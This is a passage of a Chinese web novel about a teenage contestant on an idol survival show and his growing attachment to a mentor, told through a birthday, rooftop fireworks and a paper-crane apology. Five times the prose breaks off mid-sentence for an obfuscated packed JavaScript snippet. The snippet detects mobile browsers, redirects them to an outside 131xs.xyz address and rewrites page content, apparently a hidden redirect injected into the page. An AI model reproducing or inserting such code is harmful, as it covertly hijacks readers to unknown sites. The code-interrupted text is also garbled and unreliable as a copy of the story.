蓝鸢在一公几乎是一个人拖着全队,一个人把C位队长主唱主舞全当了,于是这成了他后续被嘲皇族的一个有力证据——但被嘲皇族的舞台和崩坏的舞台二选一的话,为了对得起来现场的观众,蓝鸢总之是不会选后者的。 很多事就是没办法的,比如一公分组的随机性很强,于是他们组最后的配置很差,唯一能看的也只有冲着他来的宁郁寒。但宁郁寒也偏科,虽然他rap在节目组里数一数二,但总不能六个人唱跳一个人在一边站桩说rap。 于是这个组里,高音就是只有蓝鸢能唱上去,主舞单独的片段也就只有他能跳;C位是在分part之前选的,蓝鸢不可能不参选;队长是按组队顺序默认设置的。 总之,蓝鸢表面过生日,实际内心很着急。于是最终所有环节结束,送走最后一个非本组成员时,他靠在墙边,不动声色地松了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是意料之外地,在和队友们一同走出场馆回宿舍的路上,他们几个人又遇上了前不久才在场馆里见到的、按理来说不应该走这么快的祁心忱。 “晚上好,”祁心忱站在夜幕中说,“可以占用小圆十分钟时间吗?” 队友们于是看向蓝鸢,而蓝鸢眨了眨眼。 32. 生日2.0 蓝鸢跟着祁心忱去了旁边那栋楼的天台。 天台这地方向来适合说话——当时的蓝鸢还没有深刻意识到这一点,只说了一句“这里风好大”。 “因为很高又没有遮挡物嘛。”祁心忱说了一句废话,然后问,“今晚彩排感觉怎样?” “……还可以?”蓝鸢顿了顿,斟酌语言开口道,“虽然有一点小失误,但不太影响整体的表现——当然,我们明早也肯定还会复盘一次的。” “舞台表演是这样的,任何一次都不可能绝对完美,放宽心尽量避免重复失误就好,”祁心忱点了点头,继续说,“但我其实是想问,你今晚觉得心情如何?会和在练习室排练不太一样吗?” “嗯……好像没什么不同的,”蓝鸢停下来思考了一番对方的问题,才说,“我没有觉得很紧张。” “不是想说紧张啦。”祁心忱闻言停顿了一下,才笑了起来,“有没有别的感觉,比如更兴奋或者更有趣……这之类的?” 蓝鸢有些迷惑。于是他眨了眨眼,用目光向祁心忱传递了“我很迷惑”这样的信号,才又出声道:“……好像也没有这些感觉。” “哦。”祁心忱眨了眨眼,似乎是在接收答案,又似乎是思考了片刻,接着才说,“感觉你做偶像似乎不是很开心的样子。” “……没有不开心。”蓝鸢进行了自己连续的第三次否认,然后有些不明就里地反问道,“我觉得现在这样挺好的——祁老师您是觉得,我应该更开心吗?” “倒也没有……这事本来就没有应该或者不应该一说,”祁心忱垂了垂眼,然后说,“但作为朋友的话,我更希望你能从做偶像这件事里得到纯粹的快乐——这只是我的个人愿望。” 但这句话并不像朋友的寄语,更像是前后辈之间才会出现的发言,蓝鸢想。只是比起这个,他更在意的是祁心忱对他们此刻关系的定义:“……作为朋友?” “你如果觉得不算朋友的话,”蓝鸢这句重复像是无意识的自言自语,于是祁心忱笑了一声,“那也可以不算。” “……我没有觉得不算。”蓝鸢后知后觉意识到自己将话说了出口,顿了片刻,才又做出短短两分钟内的第四次否认,而后说,“只是有点意外。” 实际上,这会距离他们第一次见面还不到一个月。 蓝鸢一开始还对这人抱有强烈的警惕态度——但主题曲之后,祁心忱开始时常出没于他们练习楼、时不时同蓝鸢遇上并解答他的一些问题,以“帮助最看好的练习生”的名义,陪他一起熬夜练习过几次,两人的交集开始增加,蓝鸢一开始的防备心也逐渐在这个过程中消失,如今的他已经可以确定,祁心忱大概确实是个好人。 虽然有时候喜欢乱说话、并且看起来有些别的目的、对自己的重点关注似乎有些不自然……但这些暂时也都还好。 只不过走得近归走得近,祁心忱如此一本正经地念出“朋友”两个字,还是让蓝鸢觉得有点微妙的错乱感。 毕竟他们现在名义上还是导师和练习生的关系;毕竟在处于17岁最后一天的蓝鸢的认知中,娱乐圈内的成年人其实很少会将“朋友”这个词这么直接说出来。 “那就好。”祁心忱于是说,“看来我这段时间努力套近乎还是有成效的。” “所以祁老师,”蓝鸢低着头,眨了眨眼,一时间不知道他把这句两人心照不宣的话说出来的目的,于是选择了换一个话题,“您觉得自己能从做偶像这件事中得到纯粹的快乐吗?” 其实这话问得不是很合适,蓝鸢想。 适合前辈问后辈的话不一定适合后辈问前辈,但祁心忱对此的回答却是意料中的确定:“不然呢?” “倒也是。”蓝鸢说,然后也低头笑了一声。 祁心忱一向将自己的家庭关系藏得很好,当时参加选秀时都是找的同学录决赛周的家人视频——一开始有人怀疑过他家的情况不是很好,但他本人站出来澄清过一次,后来他嘲了几次前队友、阴阳过一些前辈后,风向就逐渐变了,变成了“因为家境特别好所以才不能说”。 蓝鸢那会还不知道这些话的真假,但大抵也能意识到,祁心忱并不像他那样,为了解决眼前的困难才选择走上这条道路。 “所以我其实……主观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437681|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上很希望你也能试着去看看能不能享受舞台、享受面对台下观众的整个过程,并从中得到幸福感,毕竟大概还会在这条路上走上一段时间,”祁心忱于是继续说,“当然这可能显得我管得有点多了——我知道每个人都是不一样的个体,如果你不喜欢听的话,可以现在指出来。” “……没有不喜欢听。”蓝鸢继续否认,并觉得自己今晚的语言系统出现了一些故障,“我会想想的。” 毕竟他也知道,祁心忱这话其实很有道理。 “嗯,不过上述的话其实都不太重要,只是一时兴起,”结果祁心忱下一句就说,“接下来才是比较重要的话——小圆你现在有什么想对我说的吗?” “……诶?” 实际上,后来蓝鸢回忆起这整段对话,后知后觉意识到这大概是自己并不太喜欢的、像是被另一个人牵着节奏走的——被询问式对话。 但当时的蓝鸢并没有对此产生任何主观反感情绪,他只是眨了眨眼。 此刻唯一的特殊之处,大概就是今天是祁心忱的生日,和他差一天的生日——虽然并不是晚一天、而是比他早一天。 不过在早上和队友们见到祁心忱第一面时,蓝鸢就给他说了生日快乐,于是到如今,他也想不出来别的什么对方想听到的话了。 总不能是—— “你想让我单独给你说一遍生日快乐吗?”蓝鸢深吸一口气,看着祁心忱说,“祝祁老师生日快乐。” “谢谢呀,”让蓝鸢没有预料到的是,祁心忱好像……不太意外这个回答,很流畅地接上了话,“也祝你18岁快乐。” 蓝鸢愣了片刻。 “也……谢谢祁老师?”再开口时,他的声音带了点不确定,但还是忍不住问了出来,“为什么要今天说呀?” “感觉你不一定想在生日当天收到祝福,所以决定还是提前说比较好,”祁心忱弯了弯眼,继续说着让蓝鸢意外的话,“但是又不太想像其他人那么提前,太早的话显得我不够特殊。” 蓝鸢盯着他,一时没有说话。 ……这确实完全是一个他预料之外的回答。 33. 生日3.0 过了片刻,蓝鸢才重新找回自己的语言功能。 祁心忱说“不想在生日当天收到祝福”……某种意义上确实是实话,毕竟这就是蓝鸢谎报生日的初衷。 但这句话从这人口里说出来,不知为何,蓝鸢又觉得怎么听怎么不太舒服——事实上,他想,“不想收到祝福”本质上是不想被一群不太熟的人抱着目的性集中庆祝,只是一句生日快乐的话……其实是不一样的。 不管怎么说都不一样。 “……没有不想在当天收到祝福,”蓝鸢垂了垂眼,而后说,“只是有点不太想太多人一起庆祝,会觉得很奇怪。” 理性而论,蓝鸢也说不准自己为什么要在这种场合下、在祁心忱并没有做出任何逼问行为的前提下说这样的实话,或许是潜意识总觉得祁心忱不会多想、也不会乱说。 “那我明天再给你说一遍好了,”祁心忱一听就笑了起来,“明晚公演后再来一趟这里可以吗?到时候给你说。” “……好。”蓝鸢说,没有问“为什么一定要来这个地方”,反而是后知后觉地意识到了另一个问题,“不过祁老师,您是怎么知道我在……谎报生日呀?” ——这大半个月来和祁心忱的交际实在是有点多。不熟的时候,看互联网舆论,蓝鸢以为他是那种只对粉丝好、对粉丝之外的所有人平等地看不起的人,近距离相处之后才发现,祁心忱其实对大多数和他没矛盾的人都很好,温柔又随和,相当好相处。 就是爱憎分明的程度在娱乐圈有点突出而已。 总之,如此相处下来,蓝鸢时不时会产生一种“他们已经很熟了”的错觉……加上他其实对3月2号这个假生日并没有什么“归属感”,祁心忱刚刚提到这事时,甚至没有第一时间反应过来这个再明显不过的问题。 祁心忱按理来说也不该知道他的真实生日,除非这人专门调查过他。 而听到这个问题的祁心忱——不知道该说是情理之中还是意料之外,总之沉默了。 “不想说的话……”于是蓝鸢开口,但还没说完,就被打断了。 “上回提到生日的时候,看你表情有点不太对劲,”祁心忱如是说,“所以找你登记在节目组的联系人问了一下。” “诶?”蓝鸢开始回忆。他并不记得什么时候和祁心忱说过生日,除了……他们第一次见面那天,但当时自己有什么表情吗?他想了想,什么都想不起来了。 至于登记的联系人……指的是他哥哥。 蓝鸢报名时还是未成年,按照节目组的要求,必须要填一个监护人。那时候的蓝鸢已经和哥哥闹崩了,所以说自己和家人关系不太好,能不能不写。 “这个就是一个流程,”工作人员给他说,“只要不是你突然消失了,都不会真的联系的。” 蓝鸢一听这话,打消了填自己班主任上去的想法——复习半年和复习一年的节奏有差异,高三这年,二中的所有艺术生会被统一拉出来形成单独的班级,而蓝鸢一直在外集训,和新班主任其实不太熟。 总之,当时工作人员在一边催促,最后蓝鸢为了省事,还是填了他哥的名字和电话。 “谢谢关心,但是你……”蓝鸢犹豫了片刻,还是开口道,“我和我哥哥关系不怎么好,所以以后还有这种事的话,不要问他,可以吗?” “为什么要谢谢关心……你觉得这是关心吗?”祁心忱抬了抬眼,好像有点意外,“这种时候不应该说,‘你私自调查我让我觉得很冒犯’这样的话吗?” “……可以说吗?”蓝鸢问。 “可以的。”祁心忱看着他,不知道在想什么,“我没有那么擅长读心,所以想表达什么都可以直接告诉我。” “那……确实,”蓝鸢顿了顿,不知道这样说对不对,但依旧开口道,“你私自调查我让我觉得很冒犯。” “嗯,所以对不起。”祁心忱说,“以后会避免这种事的。” “但是,”蓝鸢思考了几秒钟,最终又决定出声,推翻自己的上一句话,“其实我也没有觉得很不舒服,所以不用太往心里去。” 这倒同样是实话。 如同祁心忱所说,按照蓝鸢的性格,觉得被冒犯才是理所应当的。只是这个对象换成祁心忱之后,蓝鸢又好像没有什么特别不满的感觉。 真要说的话……也只有不希望祁心忱和他哥有交流这一点。亲哥对自己有很多偏见,也不是什么好东西,希望祁心忱不要接触这些奇奇怪怪的人,蓝鸢想。 * 祁心忱说十分钟,最后果然也就只说了十分钟。 蓝鸢同他一道出发回了宿舍,至于接下来的4号当天,当然是全程忙着准备公演。 他们组在一公的表现很不错。 同蓝鸢他们组对上的是沈艾初和任淮在的组。一公结束之后,观众将这一组对决称为一公的强强对战——毕竟两组加起来就占了4个出道位练习生、4个人还都是主题曲A班。 但处在公演前的时间点上,所有人都尚且觉得蓝鸢在的组毫无胜算。 毕竟沈艾初组是2个A班4个B班,外加一个实力很好但再评级失误的D班练习生;蓝鸢组虽然也是两个A班,但宁郁寒的再评级是获 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437682|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利于“小圆教室”,他自己并没有什么指导和带动其他人的能力,而剩下五个人更是最高只有D。 况且沈艾初和任淮都是正统练习生,蓝鸢就是个前素人,而宁郁寒之前都是按照rapper的路线发展的,怎么看怎么都不太靠谱。 可是蓝鸢组最终还是赢了。 现场总共500位观众,每个人的投票都是十四选一,公演之后,所有人坐在后台,等待pd按照票数从低到高两个一组公布票数。 公布了12个人票数的时候,总票数来到了192——看起来比例很不均等,但实则也正常,如果有人表现特别突出的话,大家没道理不将票数集中到一人身上,像他们这种情况,就是典型的双人分票,其他人拿零头。 而目前这192票里,有115票都在沈艾初的组里。 还差最后两个人需要公布,如同所有人的预期,是蓝鸢和沈艾初。坐在蓝鸢旁边的宁郁寒双手合十做出祈祷的样子,小声念了一句“小圆加油”。 而蓝鸢没有看他,只抬起头看着大屏幕——考虑到肯定有人弃权,他和沈艾初加起来应该有200多票,而他只需要比沈艾初高39票,这并不是什么很困难的事。他想。 沈艾初的舞台确实也很厉害,但蓝鸢知道自己组整体的表现效果并不比对面差——沈艾初组高手太多,实际上很多分part会比较碎、有些配合上也会显得用力过度,但在自己组里,大家都是由自己统筹规划的,即使自己的part多得不正常,观感上依旧会更像一个整体。 虽说祁心忱给他们提了很多建议……但实际上,前天下午验收那会,沈艾初组收到的意见也不少。而且就彩排来看,蓝鸢组的问题几乎得到了改善,而对面的问题依然存在。 既然整体效果不会差,那自己组之所以剩下六人的票数不够高,唯一的可能,当然是票数主要给了自己。 蓝鸢如此分析着,心情很平静地看着大屏幕。 一通悬念制造过后,他们的分数才终于被打了出来——蓝鸢看见自己名字后面跟着的数是180,在这种双人分票的组里算是很高,似乎是全场第二或者第三……而沈艾初只有104票,当然也不算低,应该也是全场前七,只是比他低了不少。 接着,两三秒的停顿计算时间后,队友们一拥而上,抱住顺势站起身的蓝鸢,庆祝他们获得的胜利。 而蓝鸢再度抬起头,看见前方摄像机闪动的红光,对着它露出了一个真心的笑容。 刚刚好的180票,祝你18岁快乐。 他对自己说,悄无声息地。 34. 烟花 票数公布本就在公演结束后。于是这个环节结束,练习生们就原地解散。 宁郁寒问他要不要一起回宿舍,蓝鸢摇了摇头,说自己还有事,稍等会自己回去。宁郁寒于是用一种……不知道该说是探究、还是意味深长的目光看着他,像是想说什么或想问什么,但最终什么都没有说。 而蓝鸢也只是平静而坦然地注视着他。 去见祁心忱又不是什么值得心虚的事,他想。 当然,话是这么说,但蓝鸢并没有和祁心忱一起出发。 他们只是像是遵循某种默契一样,不约而同地,差不多一前一后,在前一天晚上聊天的天台上会和。 “好久不见。”祁心忱比他早到一点点,蓝鸢踏上天台时,这人刚好靠在护栏边,朝他招了招手。 “好像也没有很久。”蓝鸢笑了一声,“明明到上回见面还不到一小时。” 虽然公演只需要pd前来串场和主持,一眼看上去没导师什么事,但导师组需要录reaction和一些后采之类的内容,当然也都在现场。 蓝鸢从舞台下来的时候,刚好在后台的入口遇到祁心忱……可能也不是刚好,对方明显是站在那里等他的,但打过招呼之后,对方又没有对他们组的舞台表现多做什么点评,正面负面的都没有。 “大家辛苦了。”他只如此说了一句。 “那不是不方便说话的场合吗?”而此时此刻,祁心忱眨了眨眼,“而且总觉得宁郁寒不是很喜欢我的样子,看我的表情很微妙,所以不想在他面前多说话。” “你别管他。”蓝鸢说。他心想,宁郁寒也是自己的朋友,他这时候应该替宁郁寒辩护一句,比如说“其实我感觉宁郁寒看大多数人眼神都很微妙”——这也是实话,只是如今的聊天对象是祁心忱,那他又不是很想帮宁郁寒说话了。 “他下一轮肯定不来vocal组,”祁心忱笑了笑说,“我倒是确实不用管他,但是你可以多小心一下这个人。” 蓝鸢看着他,一时间没有开口。 “……不是挑拨离间,”祁心忱顿了片刻,才像是突然反应过来一样,打补丁般添了一句,“我的意思是,你可以试着调查他看看。” 蓝鸢打量着祁心忱,试图从对方的语气中读出一点潜台词——但读不出来,这话仿佛想表达的只是字面的含义,于是蓝鸢点了点头,说好。 “嗯,那不提他了,说一些正事,首先是今晚的舞台表现特别好,如果想听点夸奖可以回头看我的后采,接着是,”祁心忱点了点头,又正色道,“祝小圆生日快乐。” “谢谢你。”蓝鸢于是笑了起来,“这还是我今年生日收到的第一个祝福呢。” “那太好了,”祁心忱垂了垂眼,望着稍远处的天空说,“那我真的十分有幸。” 蓝鸢总觉得这话也有点微妙的特殊感,所以他一时间不知道回答什么最合适。但祁心忱看起来也不是一定要让他回复什么……而且说不定只是随口一说,毕竟这人向来对粉丝很甜,媚粉小作文都可以张口就来。 于是蓝鸢什么都没有说,只抬起头,同祁心忱望向同一个方向的天空,而后沉默不语。 ……只是几秒钟之后,安静而深邃的夜空之下,突然一道光点自下而上升腾起来,伴随着“咻”的一声声响。 蓝鸢眨了眨眼。 下一刻,那道光点在天空中炸开,盛放成一朵巨大的、青绿色的烟花,又最终化成无数光点,消散进深蓝的夜幕之中。 而后是下一道烟花,热闹又绚烂的,将整个夜空、连同他们所在的这片小小的天台一并照亮。 他们的节目在郊区录制,这片区域大概不禁止燃放烟花,但能刚好在这种时候看到烟花也……大概不是因为他今天很幸运。 烟花炸到第十六声,蓝鸢终于偏过头,将目光落到了祁心忱的侧脸之上。 “不要看我,”第十七声在耳边炸响,祁心忱没有扭头,但不知为何却意识到了他的目光、接着开口道,“看烟花吧。” “好。”蓝鸢说,将目光重新移回到天空之上。 世界沉寂片刻。 接着是一道新的烟花,只是并非像之前那样升空、再从中央盛开,而是好几道浅蓝色的光点同时蹿升而上,在空中……拼凑成了像是一朵鸢尾花一样的形状。 其实也不太能看出花的品种。烟花所能实现的效果是有限的,只是蓝鸢知道那肯定是鸢尾花。 他愣愣地看着天空,没有说话。 “已经结束了,”祁心忱的声音响起,终于打断了蓝鸢的思绪,“只有十八声。” “我知道,我数了。”蓝鸢说,又觉得这话很……像是在抬杠,所以补了一句,“很漂亮……谢谢你。” 他有些不知道现在应该说什么好。蓝鸢预设过祁心忱让自己再来一次天台,是有什么礼物要送,所以不能在人多的地方给,但从没想过这人是邀请自己来天台看烟花的。 “看得开心就好。”祁心忱笑了笑说,“其实不太清楚你喜欢什么,所以挑了个我觉得不会出错的送给你——还想要别的什么也可以告诉我。” “……不需要别的什么了。”蓝鸢摇了摇头,然后也笑了起来,说出了不像他自己会说出来的话,“这已经是我最近几年收到最好的生日礼物了。” * 烟花并不是什么普遍意义上“不会出错”的礼物——一直到大半个月过去,祁心忱对他坦白他们“前缘交集”的那一刻,蓝鸢后知后觉才意识到这件事。这个世界上不喜欢烟花的人实在是太多了,自己看起来也大概并不像是喜欢烟花这种吵闹玩意的人。 更何况,祁心忱还将那十八次烟花的最后一次,设置成了“蓝色鸢尾花”,这个他在多数人面前撇清关系的意象。 现在想来,当时祁心忱说的“不会出错”,大概是建立在他对自己有一些、但不算太多的了解的基础之上的。 我早该想到这点的。蓝鸢对自己说。 但当时的蓝鸢只觉得烟花很漂亮很符合自己的审美,觉得很感动,觉得祁心忱这个人特别好—— 好到他过了一两周,又总算意识到,自己大概对对方产生了一点……超出朋友的好感。 蓝鸢承认,自己的好感就是来得很容易——十七八岁的年纪,喜欢本来就不是什么需要死死攥在手上、给出去就会满盘皆输的情感。 祁心忱脸很好看、性格很好,对自己很特殊很照顾,和他相处起来很舒服;他写的歌也很好听,是蓝鸢最喜欢的那种风格,曲调之间都是自由浪漫的气息。 ——真要说的话,蓝鸢掐着指尖数,也只能数出来这样的几条、可能会显得不够充分的几条。 实际上他对祁心忱这个人的内核和思维模式还并没有很了解,最多透过他的歌能窥见一点——学音乐的人总是习惯从音乐认识一个人本身,但音乐终究是片面的。 只不过,喜欢也是不需要确切理由的。 不够了解的可以慢慢了解,蓝鸢想。 毕竟那时候的他确实一度以为……祁心忱对他也是有着类似的好感和试探打算的。 首先祁心忱这个人的性向非常明牌,在如今的娱乐圈舆论环境下,能被前队友指名道姓说是同性恋还不反驳不澄清不花钱降热搜,那肯定就真的是。其次蓝鸢并不是什么迟钝的人,当然能意识到偏爱。 蓝鸢向来知道自己很讨人喜欢,即使他的性格并不热情、也并不那么喜欢交际。从上初中开始,他就时不时拒绝各种表白,其中男男女女都有,还有隔着网线的,大概是因为他的歌;也有毫无交集的外班同学,大概是因为他的脸。 所以蓝鸢想着,自己这几个月要努力录节目,在节目结束之后,如果这种朦胧的好感还在,能确定不是因为吊桥效应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437683|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而产生的错误悸动的话,那也可以试着追一下——毕竟祁心忱并没有高人一等,谈恋爱也不需要咖位对等,况且谈恋爱的偶像很多,自己也不一定要出道,就算真的出道、未来的队友又都很守偶像道德的话,等到解散也不是不行。 而且说不定也不怎么用追,搞不好祁心忱会先挑明呢。 ——总之,蓝鸢本来是这么想的。 只是现在他终于意识到,自己这些自以为完美的逻辑,从根源上就存在问题……那些他以为类似的好感,大概只是出于好心的、对一个自己知道底细、虽然没见过但打过一些交道的小后辈的照顾,仅此而已。 一个人没有任何理由偏爱另一个刚认识不久的陌生人、偏爱到会选择定制烟花这种微妙的仪式作为生日礼物,就算这个陌生人漂亮乖巧且无害——蓝鸢如此想着,并以此为基础做出了后续的一系列判断。 但是如果站在对方的视角来看,从一开始,自己就根本不是什么“刚认识不久的陌生人”呢?如果这种看起来有特殊意义的“烟花”,本就只是祁心忱为数不多知道的、自己喜欢的东西呢? 祁心忱虽然自称是“不擅长读心”,但实际敏锐程度并不低。站在他的视角来看,会不会觉得自己一直以来都在闹笑话呢——很轻易地就对只认识了不到两个月的、抛开选秀里的交集外完全不了解底细的人如此信任、如此不由自主地亲近、如此不会掩饰好感……显得好像很好骗、很随便一样。 “那什么……我还想问,”蓝鸢拉了拉衣角,最终下定决心问,“是不是舒老师说过,让你照顾一下我?” “是的。”祁心忱没多犹豫地承认道,又补充了一句,“不过就算他不说,出于我的立场,我还是会照顾你的。” 挑明之后……总算可以直接说“照顾”这种词了吗。蓝鸢听完回答如是想着,已然忘记了是自己先提出这个词的,只垂了垂眼:“你让我冷静思考一下。” “嗯。”祁心忱说,没有再多言语。接着他们重新迈开步伐,以一种沉默且保持一小段距离的形式。 蓝鸢的脑子里闪过很多想法。 祁心忱没有联系过自己亲哥……这算是一件好事。而在此之外,好像都是不那么好的事——蓝鸢开始试图审视他过去一个多月的言行,发现自己也说不清自己如今在祁心忱眼中是什么形象了。 “换条路走吧。”他最后说。 他们快要走到站姐们拍照的区域了。这样走过去,一定会被粉丝觉得在吵架……虽然他们这会的状态确实有点像在冷战,即使这种状态持续不了太久。 蓝鸢只是有点委屈,有点生气,又有点难过——为了这种他并不喜欢的单向隐瞒、也为了他并不光明正大的、自以为心照不宣的小心思的破灭。 甚至加上舒老师这层关系在……他现在连试探的立场都彻底没有了。 只是理性而论,祁心忱在这件事里并没有什么很大的错误,所以蓝鸢也不可能一直保持这样的态度——就今晚,他想,我只生气一晚上。 “会有粉丝在等你的,不去那边的话她们就白来了。”祁心忱说,声音顺着风飘来,“如果不想说话的话,可以做点别的,免得大家乱解读。” 不愧是在论坛那种地方都公认超级会媚粉的甜系偶像,蓝鸢心想。接着他扭过头,看见祁心忱伸出手,递给他一只耳机——于是他沉默着接过,将耳机塞在耳朵里,又看到对方戴上了另一只。 意外的是,那个耳机并不是纯做戏的摆设。 耳机里传来的是一段轻快的钢琴声,是蓝鸢没听过的曲调,只听曲风判断的话,大概率是祁心忱自己写的曲子。 “对不起,是我的错,不应该对你隐瞒这么重要的事,”祁心忱沉默着,同他一前一后走了好长一段路,走过拍摄的区域,快走到宿舍楼下,才像是彻底想清楚了一般开口道,“是我没有好好换位思考。” 35. 纸鹤 “嗯。”蓝鸢说,没有彻底不理会这句话,但也没有说没关系。 于是在此之后,祁心忱也没有多说话。他们只是沉默着向前走,再沉默着在上行的电梯间分别。 不过也并非全然沉默。 蓝鸢踏出宿舍楼电梯时,祁心忱的一句“晚安”从身后传来。他垂了垂眼,最终还是说了一声“明天见”。 而等他回到宿舍后,发现他们宿舍的顶灯还没有开,只有浴室门关着,有暖黄的灯光透过缝隙蔓延而出。 门口沈艾初的桌上放着他的背包,说明剩下两人尚且没有回来——蓝鸢的三个室友二公都在dance组,其中任淮和尚且没有退赛的退赛哥在同一组,大概是在加练。 按沈艾初的性格,他肯定是希望在二公继续和任淮同组的。 只是今年二公选歌是按照一顺排名,沈艾初选得更早,他挑了一首明显看起来是任淮会最喜欢的歌,结果任淮却去了另一组。 蓝鸢试着向沈艾初打听过,并得到了“他说他想试试新风格”的回答——只是蓝鸢并不这样认为,他更倾向于觉得是任淮想避开沈艾初。 虽然那两人的cp热度不低,绑定会有很多好处,但事实是……只要和沈艾初站在同一个舞台上,任淮就会被衬托得不够亮眼。 沈艾初虽然皇,虽然性格软弱没主见,但能拿双A,能不被蓝鸢拉出太大的人气差,总归是有他作为“偶像”的本事的——虽说和蓝鸢同场时还是有被气场压制的可能、比如后来的三公,但只是和任淮一组的话,沈艾初确确实实总是更吸睛的那一个。 虽说沈艾初对任淮有些无原则的喜欢,但这份无原则显然不包括对待舞台——抛开恋哥癖和金主这两大致命问题,沈艾初本人其实是个很负责的偶像的,蓝鸢想。 但总之,这会沈艾初占用了浴室,蓝鸢总不能直接上床睡觉,于是只能选择找点事情消磨时间。 他本来准备看看自己带回来的那些手稿,只是他打开看了几眼,就想到了祁心忱——蓝鸢于是感觉脑子里乱乱的,有点看不下去,干脆就关上了手稿,打开了自己的生物笔记本。 遇事不决复习高考,蓝鸢想。 不过他的复习也没有持续很长时间。过了大概没几分钟,蓝鸢就听见窗边的方向传来轻微的响声,像是什么撞击的声音,间断但清晰的声响。 蓝鸢的第一反应,是沈艾初在浴室里进行某种行为艺术——他们房间的浴室就在窗边的方向。 不过浴室行为艺术更像是宁郁寒或者简旋安这种人能干出来的,不太符合沈艾初的人设,所以蓝鸢还是将脑袋从生物笔记中抬了起来,接着就看见窗外飘着一个……白色的物体。 顺理成章地,蓝鸢站起身,走近了一点,才发现那是一个……非常标准的千纸鹤,不过说白色也不太恰当,更应该说是很浅的浅橙色。 一个千纸鹤,下方绑着一个看起来不算轻的、材质不明的金属块,刚刚的声响就是金属块撞击窗户的响声——而再往上,一根半透明的线拉扯着这组怎么看都不该出现在这里的装置。 蓝鸢盯着这串奇怪的东西看了几秒,接着将脑袋伸出窗外,试图顺着线的方向往上观察,但大概是角度不对,所以什么都没看见。而在他张望这会,那个千纸鹤又晃了晃,像是有人在操纵一般。 当然有人在操纵。蓝鸢想,自己刚刚正在进行一个毫无信息量的推理。 他想了想,最终还是伸手接住了那个千纸鹤,并将其连同小金属块一并,小心翼翼地从细线上解了下来。 不知道直觉对不对,蓝鸢如是想着,靠在窗边,按照与折叠相反的方法,拆开了那个千纸鹤——不知道该说是意料之中还是意料之外的是,那张用来折千纸鹤的纸上确实写着字。 开头是“to小圆”,文字部分就一行,写的是“气消了之后可以不要不理我吗TAT”,落款是一颗星星,下方空白位置画着一个半身二次元小人,是蓝鸢作为“迟筝”的那个形象。 蓝鸢愣了愣。 * 上高中之后,蓝鸢时不时会和哥哥吵架。 白天哥哥要么在打工要么混迹于赌场牌桌,而蓝鸢自己要上学或者录歌,所以大多数争吵都发生在哥哥从酒桌回来的夜晚。 很多时候,吵架的结果都是蓝鸢将自己关进自己房间。但有时争执比较激烈,他也会从家里跑出去——可能是去医院处理伤口,也可能是为了暂时躲一会,防止再待下去依旧会沦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437684|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落到去医院。 至于去哪里躲,纯粹取决于蓝鸢当时身上有什么——如果带了证件,那可能找个青旅,没带的话就找个黑网吧过夜,如果因为某些原因完全没有钱,就到处走一走,闲逛到第二天直接去上学。 当然,最后一种情况其实很少遇上,或者说其实只遇上过一次,毕竟现代人有着丰富的电子支付手段,蓝鸢有好些能给他借小钱的朋友,很难出现拿不出应急资金的情况。 那一次是由于蓝鸢的手机被哥哥摔碎了屏幕。他跑出家门,才后知后觉想起来自己也没有现金。蓝鸢想着大不了就到处走走,一晚上过得很快,早一点去学校补觉就好,结果没想到遇上了新麻烦。 晴朗的天空突然转阴,几分钟后,猝不及防的暴雨倾盆而下——那会还是初春,天气偏冷,昼夜温差大,蓝鸢本来就没有穿很厚的衣服,也完全没有带伞出门,周边的商铺全都关了,即使他尽可能快找到了躲雨的地方,但也没有避免外衣被淋湿了个彻彻底底。 